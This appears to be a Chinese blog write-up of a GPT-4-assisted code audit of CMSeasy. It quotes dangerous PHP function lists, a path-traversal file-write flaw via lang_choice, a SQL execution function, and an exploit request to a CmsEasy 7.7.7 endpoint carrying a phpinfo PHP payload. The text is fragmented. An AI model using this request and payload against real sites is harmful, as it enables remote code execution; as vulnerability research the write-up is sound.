一次完整的GPT-4代码审计，挖掘CMSeasy漏洞

$_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES

systemexecpassthrushell_execpopenproc_openpcntl_exec

echoprintprintfvprintf<%=$test%>

includeinclude_oncerequirerequire_onceshow_sourcehighlite_filereadfileflie_get_contentsfopen

evalpreg_replaceassertcall_user_funccall_user_func_arraycreate_function

insertupdateselectdelete

copyrmdirunlinkdeletefwritechmodfgetcfgetcsvfgetsfgetssfilefile_get_contentsfreadreadfileftruncatefile_put_contentsfputcsvfputs

这段 PHP 代码中存在一个潜在的任意文件执行风险，主要原因是对用户输入没有进行足够的过滤和验证。具体来说，存在安全隐患的部分是 $lang_choice 变量的处理。首先，该代码允许用户通过 GET 请求的 lang_choice 参数来指定 $lang_choice 的值。此时，如果恶意用户输入了一个包含相对路径（例如 ../../../some/evil/path）的参数，那么 $path 变量将指向一个非预期的文件。phpCopy code$lang_choice='system.php';if (isset($_GET['lang_choice'])){    $lang_choice=$_GET['lang_choice'];}接下来，代码将 $path 拼接到网站根目录下的 lang 目录下。此时，如果 $lang_choice 包含了恶意的相对路径，$path 将指向一个完全由攻击者控制的文件。phpCopy code$path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;当用户提交表单后，代码将修改 $path 指向的文件内容。如果 $path 指向了一个恶意文件，攻击者可以任意修改这个文件的内容，从而实现任意代码执行。phpCopy codeif (front::post('submit')) {    ...    file_put_contents($path,$content);

                           static function checkstr($str)    {        if (preg_match("/<(/?)(script|i?frame|style|html|?php|body|title|link|meta)([^>]*?)>/is", $str, $match)) {            //front::flash(print_r($match,true));            return false;        }        if (preg_match("/(<[^>]*)on[a-zA-Z]+s*=([^>]*>)/is", $str, $match)) {            return false;        }        return true;    }                        

<?php phpinfo();__halt_compiler();

POST /CmsEasy_7.7.7_UTF-8_20230221/index.php?case=language&act=add&id=5&lang_choice=system_custom.php&admin_dir=admin&site=default&username=&url=&isvisual=&aid=&catid=&dfile=&lang_choice=system_custom.php

从这段代码来看，存在SQL注入的风险。原因如下：在execsql_action，execsqls_action和execupdate_action这三个函数中，从用户输入直接获取SQL查询语句（通过front::get("sql")），然后直接将其传递给service::execsql()函数执行。在这种情况下，攻击者可以通过构造恶意的SQL语句来执行SQL注入攻击。为了防止SQL注入攻击，您可以采取以下措施：参数化查询：使用预编译语句和参数化查询来避免将用户输入直接拼接到SQL查询中。验证和过滤用户输入：对用户提供的输入进行有效性检查，以确保它符合预期的格式。在有可能的情况下，使用白名单验证而非黑名单验证。请注意，这里提供的建议并非详尽无遗。在实际开发中，您可能需要根据具体情况采取更多的防护措施来确保代码的安全性。

/*以下是对上述代码的解释：1.该函数是使用$sqlquery参数调用的。如果$sqlquery参数为空，则函数将返回一个空字符串。2.函数从$sqlquery参数中去除回车，并将cmseasy_前缀替换为数据库前缀。3.函数将$sqlquery参数拆分为一个由分号（；）字符分隔的查询数组。4.然后，函数在查询数组中循环，并执行每个查询。如果查询导致错误，函数将返回错误消息。5.如果查询成功，函数将统计已执行的查询数，并返回已执行的询问数*/